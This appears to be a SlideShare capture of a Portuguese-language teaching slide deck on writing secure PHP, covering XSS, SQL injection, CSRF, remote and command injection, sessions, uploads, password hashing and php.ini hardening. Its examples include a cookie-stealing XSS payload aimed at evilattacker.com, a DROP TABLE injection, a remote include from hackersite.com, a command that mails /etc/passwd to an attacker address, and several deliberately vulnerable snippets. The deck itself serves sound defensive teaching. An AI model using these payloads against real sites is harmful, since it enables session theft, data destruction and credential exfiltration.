SlideShare une entreprise Scribd logo
1  sur  90
Télécharger pour lire hors ligne
Escrevendo códigos PHP 
Seguros 
Douglas V. Pasqua 
http://douglaspasqua.com
Introdução 
● Príncios de segurança para aplicativos web. 
● As consequencias de códigos inseguros. 
● Regras básicas de Segurança.
Vulnerabilidades / Tipos de Ataques 
● SQL Injections 
● XSS 
● Remote Code Injection 
● Command Inection 
● XSRF / CSRF 
● Sessions 
● File Uploads
Outros 
● senhas e hashs 
● configurações de segurança (php.ini)
Introdução Segurança 
● Uma das coisas mais importantes que o 
desenvolvedor deve-se atentar.
Introdução Segurança 
● Infelizmente a maioria dos desenvolvedores 
falham na questão de segurança, 
comprometendo dezenas e até milhares de 
linhas de códigos.
Consequências
Consequências 
● DOS (Denial Of Service). 
● Roubo de informações confidenciais. 
● Danificar banco de dados. 
● Roubo de sessão do usuário. 
● Comprometer a aplicação.
Regras básicas 
● Filtrar dados de Input 
● Filtrar dados de Output
Filtrar dados de Input 
● Não se deve confiar nos dados provenientes 
do usuário. 
● Toda informação oriunda do usuário deve 
ser filtrada/validada antes do uso.
Filtrar dados de Input 
● $_GET 
● $_POST 
● $_COOKIE
Tipo de dados ? 
● E-Mail 
● Numérico 
● URL 
● IP 
● Data de aniversário 
● Endereço 
● Telefone
Exemplo: filtrando campo numérico 
<?php 
if (isset($_GET["value"])) { 
$value = $_GET["value"]; 
} 
else { 
$value = false; 
} 
if (is_numeric($value) && ($value >= 15 && $value <= 20)) { 
// ok 
}
Exemplo: filtrando campo numérico 
<?php 
$value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, 
array("options" => array( 
"min_range" => 15, 
"max_range" => 20 
))); 
if($value) { 
// valido 
}
filter_input 
● FILTER_VALIDATE_BOOLEAN 
● FILTER_VALIDATE_EMAIL 
● FILTER_VALIDATE_FLOAT 
● FILTER_VALIDATE_INT 
● FILTER_VALIDATE_IP 
● FILTER_VALIDATE_REGEXP 
● FILTER_VALIDATE_URL
filter_input 
http://php.net/filter_input
Filtrando dados de Saída 
● Dados de saída devem ser tratados de 
acordo com o meio. 
○ HTML 
○ Javascript 
○ XML 
○ SQL
Filtrando dados de saída 
<?php 
echo "<a href="$url">$name</a>";
Filtrando dados de Saída 
<a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> 
<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> 
</a>
htmlspecialchars() 
Caracter Nome Código 
< menor que &lt; 
> maior que &gt; 
& E comercial &amp; 
“ aspas duplas &quot; 
http://php.net/htmlspecialchars
XSS (Cross Site Scripting)
XSS (Cross-site-scripting) 
● É um tipo de ataque que permite injetar 
códigos (javascript) maliciosos em sites 
“confiáveis”. 
● Explora a confiança que o usuário tem no 
site.
XSS (Cross-site-scripting) 
● Roubo de cookies e informações de sessão. 
● Disparar requisições HTTP na sessão do 
usuário. 
● Redirecionar o usuário para sites maliciosos. 
● Instalar malware
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"];
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script>
XSS Exemplo - Não Persistente 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . $_GET["query"]; 
http://example.com/search.php?query=<script>alert("hacked")</script> 
Você esta buscando por: <script>alert("hacked")</script>
XSS Exemplo - Persistente 
$email = "document.write('<iframe src=” 
http://evilattacker.com?cookie=' + document.cookie.escape()” 
height=”0” width=”0” />')"; 
E-mail: <?php echo $email; ?>
XSS - Prevenção 
● Validando dados de input
XSS - Prevenção 
● Sanitização 
<?php 
// sanitize HTML 
$query = strip_tags($_GET["query"]);
XSS - Prevenção 
● Output Escaping 
<?php 
// Gera resultados baseado em parametro via GET 
echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
SQL Injection
SQL Injection 
● Permite manipulação de consultas SQL 
○ passar por controles de acesso e autenticação. 
○ expor dados escondidos. 
○ sobrescrita de dados. 
○ exclusão de dados. 
○ execução de comandos no S.O.
SQL Injection 
$sql = "SELECT * FROM users WHERE name 
='$nome'";
SQL Injection 
' or '1'='1 
SELECT * FROM users WHERE name ='' OR '1'='1'; 
' or '1'='1' -- 
SELECT * FROM users WHERE name ='' OR '1'='1' --';
SQL Injection 
a';DROP TABLE users; -- 
SELECT * FROM users WHERE name ='a';DROP TABLE 
users; --';
SQL Injection - Protegendo-se 
<?php 
$stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); 
$stmt->bindParam(':name', $txtName); 
$stmt->execute(); 
● Suporte: 
○ mysqli 
○ PDO
SQL Injection - Protegendo-se 
<?php 
$name = mysql_real_escape_string($name); 
$sql = "SELECT * FROM users WHERE name ='$name'"; 
● Usar no caso de extensão padrão do Mysql para PHP
CSRF (Cross-Site-Request-Forgery)
CSRF - Definição 
Site malicioso dispara uma requisição/ação 
não desejada para um outro site no qual o 
usuário esteja logado.
CSRF - Exemplos de ações 
● Alterar a senha do usuário no site 
● Realizar transferências bancárias 
● Submissão de formulários
CSRF - Principais focos 
● Webmail 
● Redes sociais 
● Bancos 
● Sistemas de pagamento online
CSRF - Exemplos de Prevênção 
● Captcha 
● Verificar o Header "Referer" 
● Token Sincronizado
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
CSRF - Token 
<?php 
$randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); 
$_SESSION['csrfToken'] = $randomtoken;
CSRF - Token 
<form> 
... 
<input type=’hidden’ name=’csrfToken’ 
value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> 
... 
</form>
CSRF 
● O Token CSRF é único por sessão. 
● Utilize o token em todos formulários 
considerados “críticos”.
Remote Code Injection
Remote code injection 
● Permite o atacante injetar códigos externos 
no fluxo de execução do script php. 
● Explora: 
○ include 
○ require
Remote code injection 
<?php 
include($_GET["page"]); 
?>
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/dir-escondido/senhas. 
txt
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=/upload-dir/arquivo.php
Remote code injection 
<?php 
include($_GET["page"]); 
?> 
www.website.com/carrega.php?page=http://hackersite.com/file.inc
Remote code injection - Proteção 
<?php 
$whitelist = array('home', 'about'); 
if (in_array($_GET['page'], $whitelist)) { 
include($_GET['page'].'.php'); 
} else { 
include('home.php'); 
}
Command Injection
Command Injection 
● Permite o atacante injetar códigos shell 
maliciosos. 
● Normalmente quando você usa o input do 
usuário para criar um comando shell.
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?>
Command Injection 
<?php 
echo shell_exec('cat '.$_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;ls
Command Injection 
<?php 
echo shell_exec('cat '. $_GET['filename']); 
?> 
www.website.com/viewfile.php?filename=file.txt;mail 
attacker@attacker.org </etc/passwd
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename']));
Command Injection - Proteção 
<?php 
echo shell_exec('cat '. escapeshellarg($_GET['filename'])); 
OR 
echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
Segurança de Sessão
Segurança de Sessão 
● Flag httponly, php.ini: 
session.cookie_httponly = 1 
Marca o cookie de sessão do PHP com httponly. Isso faz 
com que o novageador não exponha o valor deste cookie 
via javascript.
Segurança de Sessão 
● Flag use_only_cookies, php.ini: 
session.use_only_cookies = 1 
Desabilita a possiblidade de setar o ID da sesssão via GET.
Segurança de Sessão 
● Flag cookie_secure, php.ini: 
session.cookie_secure = 1 
Assegura que o cookie de sessão seja transmitido apenas 
por conexão segura.
Session hijacking 
<?php 
session_start(); 
if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ 
exit; 
} 
} else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); 
}
Upload de Arquivos
Upload de arquivos - Dicas 
Armazene os arquivos enviados fora do 
diretório raiz do app web.
Upload de arquivos - Dicas 
Não confie cegamente no Content-Type, para 
definir que um arquivo seja realmente uma 
imagem.
Upload de arquivos - Dicas 
<?php 
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { 
echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; 
exit; 
}
Upload de arquivos - Dicas 
Não armazene os arquivos usando o nome 
original configurado no formulário. Gere um 
nome randômico ao salvar.
Hash e Senhas
hash e senhas 
Sempre usar hash para armazenar senhas em 
banco de dados.
hash e senhas 
md5(), sha1() ?
hash e senhas 
password_hash(), crypt() ?
password_hash() 
● >= PHP 5.5 
● Utiliza o algoritimo BCrypt 
● Compatível com a função crypt()
password_hash() 
<?php 
// geração do hash 
$hash = password_hash($senha, PASSWORD_DEFAULT); 
// verificando se o hash corresponde 
if (password_verify($password, $hash)) { 
// Sucesso! 
} 
else { 
// Credenciais Inválidas 
}
password_hash() 
● utilizar capacidade de 255 caracteres 
● salt e cost são gerados pela API
Parâmetros no php.ini
php.ini 
● expose_php = off
php.ini 
● expose_php = off 
HTTP/1.1 200 OK 
X-Powered-By: PHP/5.3.3 
Content-type: text/html; charset=UTF-8
php.ini 
● display_errors = off
php.ini 
● display_errors = off 
log_errors=On 
error_log=/var/log/apache/php_error.log
php.ini 
● allow_url_fopen = off
php.ini 
● allow_url_fopen = off 
previne remote code injections 
(include/require/file_get_contents)
php.ini 
● max_execution_time = 30 
● memory_limit = 40M
php.ini 
● max_execution_time = 30 
● memory_limit = 40M 
Evita ataques DOS
php.ini 
● disable_functions = exec,passthru, 
shell_exec,system,proc_open,popen, 
curl_exec,curl_multi_exec,parse_ini_file, 
show_source
php.ini 
● open_basedir="/var/www/"
php.ini 
● open_basedir="/var/www/" 
restringe o diretório onde o php pode 
manipular arquivos
Perguntas ? 
douglas.pasqua@gmail.com 
http://www.douglaspasqua.com 
twitter: @dpasqua

Contenu connexe

Tendances

Desing de navegação web parte III
Desing de navegação web parte IIIDesing de navegação web parte III
Desing de navegação web parte III
Wellington Marion
 
Lista de exercicios vetores, matrizes, registros e sub-algoritmos
Lista de exercicios   vetores, matrizes, registros e sub-algoritmosLista de exercicios   vetores, matrizes, registros e sub-algoritmos
Lista de exercicios vetores, matrizes, registros e sub-algoritmos
Mauro Pereira
 
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
André Constantino da Silva
 
Lista de exercicios algoritmos com pseudocodigo
Lista de exercicios   algoritmos com pseudocodigoLista de exercicios   algoritmos com pseudocodigo
Lista de exercicios algoritmos com pseudocodigo
Mauro Pereira
 

Tendances (20)

Desing de navegação web parte III
Desing de navegação web parte IIIDesing de navegação web parte III
Desing de navegação web parte III
 
Aula 6 aed - registros
Aula 6   aed - registrosAula 6   aed - registros
Aula 6 aed - registros
 
Aula 03.1 - Operadores Relacionais e Lógicos
Aula 03.1 - Operadores Relacionais e LógicosAula 03.1 - Operadores Relacionais e Lógicos
Aula 03.1 - Operadores Relacionais e Lógicos
 
Lista de exercicios vetores, matrizes, registros e sub-algoritmos
Lista de exercicios   vetores, matrizes, registros e sub-algoritmosLista de exercicios   vetores, matrizes, registros e sub-algoritmos
Lista de exercicios vetores, matrizes, registros e sub-algoritmos
 
Aula analise algoritmos
Aula analise algoritmosAula analise algoritmos
Aula analise algoritmos
 
Splunk 교육자료 v1.2
Splunk 교육자료 v1.2Splunk 교육자료 v1.2
Splunk 교육자료 v1.2
 
Solr vs. Elasticsearch - Case by Case
Solr vs. Elasticsearch - Case by CaseSolr vs. Elasticsearch - Case by Case
Solr vs. Elasticsearch - Case by Case
 
Análise de Algoritmos - Recursividade
Análise de Algoritmos - RecursividadeAnálise de Algoritmos - Recursividade
Análise de Algoritmos - Recursividade
 
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
Aula 9 - Resultado Operandos Matemáticos, Operadores Aritmeticos, Relacionais...
 
Arvorepatricia 170306194806
Arvorepatricia 170306194806Arvorepatricia 170306194806
Arvorepatricia 170306194806
 
Modularização
ModularizaçãoModularização
Modularização
 
Arquivos em C
Arquivos em CArquivos em C
Arquivos em C
 
Apresentando a Linguagem de Programação Python
Apresentando a Linguagem de Programação PythonApresentando a Linguagem de Programação Python
Apresentando a Linguagem de Programação Python
 
Apostila visualg
Apostila visualgApostila visualg
Apostila visualg
 
Modelação de Dados
Modelação de DadosModelação de Dados
Modelação de Dados
 
Expressões aritméticas, relacionais e lógicas
Expressões aritméticas, relacionais e lógicasExpressões aritméticas, relacionais e lógicas
Expressões aritméticas, relacionais e lógicas
 
Algoritmos
AlgoritmosAlgoritmos
Algoritmos
 
Pesquisa e Ordenação Aula 01 - Apresentação
Pesquisa e Ordenação Aula 01 - ApresentaçãoPesquisa e Ordenação Aula 01 - Apresentação
Pesquisa e Ordenação Aula 01 - Apresentação
 
Lista de exercicios algoritmos com pseudocodigo
Lista de exercicios   algoritmos com pseudocodigoLista de exercicios   algoritmos com pseudocodigo
Lista de exercicios algoritmos com pseudocodigo
 
Introdução à Linguagem C
Introdução à Linguagem CIntrodução à Linguagem C
Introdução à Linguagem C
 

En vedette

En vedette (6)

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Postgres Tuning
Postgres TuningPostgres Tuning
Postgres Tuning
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
PostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardoPostgreSQL Tuning: O elefante mais rápido que um leopardo
PostgreSQL Tuning: O elefante mais rápido que um leopardo
 
CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10CJR Apresenta: OWASP TOP10
CJR Apresenta: OWASP TOP10
 
Análise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQLAnálise de performance usando as estatísticas do PostgreSQL
Análise de performance usando as estatísticas do PostgreSQL
 

Similaire à Escrevendo códigos php seguros

Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
Carlos Nilton Araújo Corrêa
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
Bruno Pedro
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
Carlos Santos
 

Similaire à Escrevendo códigos php seguros (20)

Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
InterCon 2017 - Engenharia de segurança web: Proteja todas as camadas de seu ...
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Sql injection
Sql injectionSql injection
Sql injection
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerraAprendendo a atacar (e proteger) aplicações web através de jogos de guerra
Aprendendo a atacar (e proteger) aplicações web através de jogos de guerra
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Como Perder Peso (no browser)
Como Perder Peso (no browser)Como Perder Peso (no browser)
Como Perder Peso (no browser)
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Python 08
Python 08Python 08
Python 08
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP Crawling - Coleta de dados na Web com PHP
Crawling - Coleta de dados na Web com PHP
 

Plus de Douglas V. Pasqua

Plus de Douglas V. Pasqua (7)

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
 

Escrevendo códigos php seguros

  • 1. Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  • 2. Introdução ● Príncios de segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  • 3. Vulnerabilidades / Tipos de Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  • 4. Outros ● senhas e hashs ● configurações de segurança (php.ini)
  • 5. Introdução Segurança ● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  • 6. Introdução Segurança ● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  • 8. Consequências ● DOS (Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  • 9. Regras básicas ● Filtrar dados de Input ● Filtrar dados de Output
  • 10. Filtrar dados de Input ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  • 11. Filtrar dados de Input ● $_GET ● $_POST ● $_COOKIE
  • 12. Tipo de dados ? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  • 13. Exemplo: filtrando campo numérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  • 14. Exemplo: filtrando campo numérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  • 15. filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  • 17. Filtrando dados de Saída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  • 18. Filtrando dados de saída <?php echo "<a href="$url">$name</a>";
  • 19. Filtrando dados de Saída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  • 20. htmlspecialchars() Caracter Nome Código < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  • 21. XSS (Cross Site Scripting)
  • 22. XSS (Cross-site-scripting) ● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  • 23. XSS (Cross-site-scripting) ● Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  • 24. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  • 25. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  • 26. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  • 27. XSS Exemplo - Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  • 28. XSS - Prevenção ● Validando dados de input
  • 29. XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  • 30. XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
  • 32. SQL Injection ● Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  • 33. SQL Injection $sql = "SELECT * FROM users WHERE name ='$nome'";
  • 34. SQL Injection ' or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  • 35. SQL Injection a';DROP TABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  • 36. SQL Injection - Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  • 37. SQL Injection - Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  • 39. CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  • 40. CSRF - Exemplos de ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  • 41. CSRF - Principais focos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  • 42. CSRF - Exemplos de Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  • 43. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  • 44. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  • 45. CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  • 46. CSRF ● O Token CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  • 48. Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  • 49. Remote code injection <?php include($_GET["page"]); ?>
  • 50. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  • 51. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  • 52. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  • 53. Remote code injection - Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
  • 55. Command Injection ● Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  • 56. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  • 57. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  • 58. Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  • 59. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  • 60. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  • 62. Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  • 63. Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  • 64. Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  • 65. Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  • 67. Upload de arquivos - Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  • 68. Upload de arquivos - Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  • 69. Upload de arquivos - Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  • 70. Upload de arquivos - Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  • 72. hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  • 73. hash e senhas md5(), sha1() ?
  • 74. hash e senhas password_hash(), crypt() ?
  • 75. password_hash() ● >= PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  • 76. password_hash() <?php // geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  • 77. password_hash() ● utilizar capacidade de 255 caracteres ● salt e cost são gerados pela API
  • 80. php.ini ● expose_php = off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  • 82. php.ini ● display_errors = off log_errors=On error_log=/var/log/apache/php_error.log
  • 84. php.ini ● allow_url_fopen = off previne remote code injections (include/require/file_get_contents)
  • 85. php.ini ● max_execution_time = 30 ● memory_limit = 40M
  • 86. php.ini ● max_execution_time = 30 ● memory_limit = 40M Evita ataques DOS
  • 87. php.ini ● disable_functions = exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  • 89. php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  • 90. Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua